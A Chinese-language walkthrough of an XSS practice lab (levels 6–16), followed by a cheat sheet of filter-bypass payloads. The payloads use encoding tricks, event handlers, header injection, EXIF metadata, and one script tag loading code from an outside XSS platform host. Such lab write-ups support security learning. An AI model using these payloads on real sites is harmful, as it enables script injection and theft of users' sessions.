利用script标签执行js

1
<script>alert(1)</script>

字符串用" ’ 包裹都行

采用on事件方法

on事件不用单引号或双引号也可以触发,但是必须闭合标签内的引号

1
2
<onclick=alert(1)>     =>点击就会触发
<onmouseover=alert(1)> =>鼠标移动触发

很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机,例如:

1
<img src = "javascript:alert(‘xss‘);">

这里即便对传入的参数过滤了<>,XSS还是能发生(前提是该标签属性需要引用文件)

采用a标签来做到xss

1
<a href="javascript:alert(1)" >

假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:

1
<img src= "java  script:alert(‘xss‘);" width=100>

这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略

而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号。

1
<img src= "javascript: alert(/xss/); width=100> 

同样能绕过

exif xss

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

将XSS写到Exif里(PowerExif)exif是PHP拓展,如果要用exif_read_data函数要记得开启拓展。

一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗

具体实现使用kali下的exiftool工具

命令如下:

exiftool -FIELD=XSS FILE

exiftool -Artist=’ “>’ brute.jpeg

flash xss

第六关

第六关script替换成scr_ipt, on替换成o_n,但是</script>没有替换,所以尝试大小写替换。

image-20200131212655392

第七关

尝试javascript:alert(1)" > 发现script被过滤

image-20200131224036106

尝试双写发现可以哎,说明只用了一次过滤,可以绕过

image-20200131224313551

所以构造可以触发的xss

  1. "/><scrscriptipt>alert(1)</scrscriptipt>
    
    1
    2
    3
    4
    5

    ![image-20200131224652113](xss娱乐靶场/image-20200131224652113.png)

    ### 第八关

Javascript:伪协议后面可以使用URL编码。
如:click me可成功执行弹窗。
可用img就不行:
因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
click me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

"script"转换为"scr_ipt","on"转换为"o_n","src"转换为"sr_c","data"转换为"da_ta","href"转换为"hr_ef",'"'转换为'&quot',大小写过滤并被编码,尖括号><,单引号',%,#,&符号没有被过滤,输出点在a标签内,href属性中,属性里的双引号被转换成HTML实体,无法截断属性,这里可以使用伪协议绕过javascript:alert,由于script关键字被过滤,javascript会被替换成javasc_ript,使用&#x72来代替r,伪协议后面可以使用URL编码进行编码。

```html
Payload:

javascri&#x70;&#x74;:alert(8)

javasc&#x72;&#x69;pt:%61lert(8)

javasc&#x72;&#x69;pt:%61lert`1`

javasc&#x0072;ipt:alert`1`

javasc%09ript:alert(1)

image-20200201015919168

image-20200201020026834

第九关

和上一关差不多只是加了一个url检测,如果url没有http则替换成非法字符串,用注释绕过

image-20200201020743826

第十关

image-20200201034329955

发现三个隐藏输入框哦

image-20200201035629677

其他可行的payload:

1
2
3
Keyword=aaa&t_sort=" type="text" onmouseover="alert(10)

Keyword=aaa&t_sort=" type="text" onmouseover=alert`1`

第十一关

referer字段中的内容会被填入这个隐藏按钮

image-20200201072257031

1
payload:Referer:" type="text" onclick="alert(1)

第十二关

很明显这是头部User-Agent字段

image-20200201072947280

User-Agent: " type=“text” onclick="alert(1)

第十三关

cookie的字段 不说了

第十四关

exif xss

查看源码通过iframe标签引入了一个http://exofvoewer.org, 结合乌云爆出的

img
漏洞,上传一个含有xss代码的图片触发xss。

exif xss

img

img

img

img

下面内容来自

第十五关

什么?让我自己走出去。这里看来只能在url里面操作

img

发现src参数,查看源码发现把参数拼接到了最后一行输出,那这里应该是突破口了

这里估计使用ng-include,这个属性可以包含文件,默认是同域名的文件

img

img

那我们包含level1.php加上参数即可

payload:level15.php?src=‘level1.php?name=

因为这里要访问上面的angular.min.js这个js文件,才能进行包含,虚拟环境里面无法访问那个js,因为需要fanqiang才能访问,根本没法实现,所以我找了外网的一样的xss挑战进行测试

成功包含level1弹窗

img

第十六关

过滤空格,script,/,使用%0d %0a做分割符

payload:

1
2
3
4
/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')>
http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

img

总结

xss绕过方法

大小写绕过

<Script>alert(1)</Script>

双写绕过

<scrscriptipt>alert(1)</scrscriptipt>

替换绕过

1
2
3
4
过滤 alert 用prompt,confirm,top['alert'](1)代替绕过
过滤() 用``代替绕过
过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过
小写转大写情况下 字符ſ大写后为S(ſ不等于s)

%00截断绕过

<a href=javascr%00ipt:alert(1)>xss</a>

编码绕过

1
2
3
4
5
6
7
8
9
实体编码
javascrip&#x74;:alert(1) 十六进制
javascrip&#116;:alert(1) 十进制

unicode编码
javascripu0074:alert(1)

url编码
javascrip%74:alert(1)

fromCharCode方法绕过

1
2
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))

javascript伪协议绕过

无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js

换行绕过正则匹配

1
2
onmousedown
=alert(1)

注释符

1
2
3
4
5
6
7
8
// 单行注释
<!-- --!> 注释多行内容
<!-- --> 注释多行内容
<-- --> 注释多行内容
<-- --!> 注释多行内容
--> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释

闭合标签空格绕过

</style ><script>alert(1)</script>

@符号绕过url限制

例如:https://www.segmentfault.com@xss.haozi.me/j.js

其实访问的是@后面的内容

")逃逸函数后接分号

例:

1
");alert(1)//

绕过转义限制

例:

1
2
")
alert(1) //

xss paylaod形式

1
2
3
4
5
6
7
8
<script>alert(1)</script>
<script src="http://xsspt.com/vA4t1W?1542101296"></script>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">xss</a>
<svg onload=alert(1)>
<input type="text" name="test" onclick=alert(1)>
<iframe src="javascript:alert(/xss/)">xss</iframe>
<iframe srcdoc="<script>alert&#40;1&#41;</script>">

【巨人肩膀上的矮子】XSS挑战之旅—游戏通关攻略(更新至18关)

XSS绕过实战练习

【干货分享】XSS攻击进阶篇——那些年我们看不懂的XSS